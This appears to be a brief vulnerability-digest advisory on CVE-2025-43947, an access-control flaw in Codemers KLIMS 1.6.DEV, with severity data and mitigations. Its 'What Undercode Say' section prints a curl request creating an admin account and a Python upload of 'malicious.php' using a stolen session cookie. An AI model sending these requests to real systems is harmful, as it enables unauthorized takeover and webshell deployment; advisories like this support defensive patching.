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How CVE-2025-43947 Works
CVE-2025-43947 exploits improper access control in Codemers KLIMS 1.6.DEV. The system fails to validate user roles before executing privileged actions. Attackers can send crafted HTTP requests (e.g., POST /admin/create_user) without admin privileges. The backend does not verify session tokens or role permissions, allowing unauthorized configuration changes, file uploads, and user creation. The vulnerability stems from missing `check_admin_access()` middleware in critical API endpoints.
DailyCVE Form
Platform: Codemers KLIMS
Version: 1.6.DEV
Vulnerability: Privilege Escalation
Severity: Critical
Date: 06/23/2025
Prediction: Patch by 08/2025
What Undercode Say
curl -X POST http://<target>/admin/create_user -d '{"user":"attacker","role":"admin"}'
import requests
requests.post("http://<target>/upload", files={"file": ("malicious.php", payload)}, cookies={"session": "stolen_token"})
How Exploit
1. Authenticate as low-privilege user.
2. Send forged requests to admin endpoints.
3. Bypass checks via direct API calls.
Protection from this CVE
- Implement role-based access control (RBAC).
- Validate session tokens rigorously.
- Patch to KLIMS 1.6.1.
Impact
- Full system compromise.
- Unauthorized data manipulation.
- Malware deployment.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
